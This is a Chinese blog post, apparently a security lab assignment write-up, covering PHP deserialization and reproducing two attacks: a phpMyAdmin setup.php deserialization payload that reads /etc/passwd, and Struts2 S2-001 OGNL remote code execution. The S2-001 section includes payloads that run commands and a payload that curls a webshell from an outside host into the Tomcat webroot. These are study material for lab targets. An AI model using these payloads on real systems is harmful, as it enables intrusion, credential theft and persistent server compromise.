反序列化漏洞——http://159.75.16.25:8066 phpmyadmin scripts/setup.php 反序列化漏洞 http://159.75.16.25

本文深入探讨了PHP反序列化漏洞的原理及其危害,强调了防御措施,如签名验证、限制序列化类以及RASP检测。同时,详细介绍了Struts2 S2-001远程代码执行漏洞的利用过程,包括文件读取、路径遍历和命令执行,并提供了复现漏洞的步骤。挂马操作展示了如何利用此漏洞在目标服务器上植入恶意代码。此外,还提到了如何识别Struts2框架网站以及该漏洞的触发条件。
摘要由CSDN通过智能技术生成

php反序列化漏洞的漏洞原理,如何防御此漏洞?如何利用此漏洞?

原理:

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果

防御:

  1. 进行签名与认证,避免应用接受黑客的异常输入
  2. 限制序列化与反序列化的类,避免接受任何处理类型
  3. RASP检测,判断应用是否执行了非应用本身的逻辑

利用:

  1. 通过该漏洞,可以在内容中嵌入执行自定义命令的代码,获取服务器的权限
  2. 可以构造其他,导致耗尽服务器的CPU,停止服务
  3. 可以获得途径

2、http://159.75.16.25:8066       phpmyadmin scripts/setup.php 反序列化漏洞

      http://159.75.16.25:8065      复现S2-001远程代码执行漏洞

复现漏洞要求:(1)操作步骤配截图。

                      (2)并尝试使用S2-001远程代码执行漏洞进行挂马操作 。

                      (3)在linux中/etc/passwd和/etc/shadow这两个文件分别存储什么内容?如果一旦攻击者获取到这两个文件可以做什么?

漏洞背景:PhpMyAdmin 2.x 版本中存在一系列反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行代码。

漏洞复现:启动环境,可以看到phpmyadmin的首页,因为没有连接数据库,所以会进行页面报错。

http://159.75.16.25:8066       phpmyadmin scripts/setup.php 反序列化漏洞

  • 打开该url,出现phpmyadmin首页。

之后打开scripts/setup.php:

  • 打开终端进行攻击:

使用burusuite进行抓包,打开火狐代理,将抓到的包部分数据改为:

POST /scripts/setup.php HTTP/1.1

Host: 10.40.189.19:8080

之后点击go,即可得到下图内容

  • 返回网页,也可得到关于root passwd的相关内容,复现完成。

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

http://159.75.16.25:8065      复现S2-001远程代码执行漏洞

漏洞简介:

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

  • 在输入框中输入%{1+2},发现被解析成了3,说明在此处存在漏洞。

  • 输入以下命令获取tomcat绝对路径:

%{"tomcatDir{"+@java.lang.System@getProperty("user.dir")+"}"}

得到tomcat的绝对路径:

tomcatDir{/usr/local/tomcat}

  • 输入以下命令获取web路径:

%{

#req=@org.apache.struts2.ServletActionContext@getRequest(),

#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),

#response.println(#req.getRealPath('/')),

#response.flush(),

#response.close()

}

得到web路径为:/usr/local/tomcat/webapps/ROOT/

  • 输入以下命令查看当前权限:

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

返回为root

  • 对web路径命令进行修改:

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}

之后将修改后的命令输入到password中:

复现完成。

挂马:

  • 在此页面使用burpsuite抓包,

  • 需要使用到burpsuite进行抓包

挂马命令如下:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"curl","-o","/usr/local/tomcat/webapps/ROOT/shell.jsp","http://106.52.39.144:82/shell.jpg"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

在火狐浏览器中将该挂马冰凌进行url编码:

%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22curl%22%2C%22-o%22%2C%22%2Fusr%2Flocal%2Ftomcat%2Fwebapps%2FROOT%2Fshell.jsp%22%2C%22http%3A%2F%2F106.52.39.144%3A82%2Fshell.jpg%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D

将抓到的包的password改为该编码后的内容:

在burpsuite中:

之后点击forword放包,浏览器页面显示为:

之后连接

  • 连接成功后可以进行数据库管理和文件管等操作,则挂马成功

3、如何能看出一个网站用了struts2框架?并简述S2-001远程代码执行漏洞原理

看网站链接url里面的内容,如果是XXX.action结尾或直接XXX?参数1=XXX,应该就是用了stuts2框架。

原理:

因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值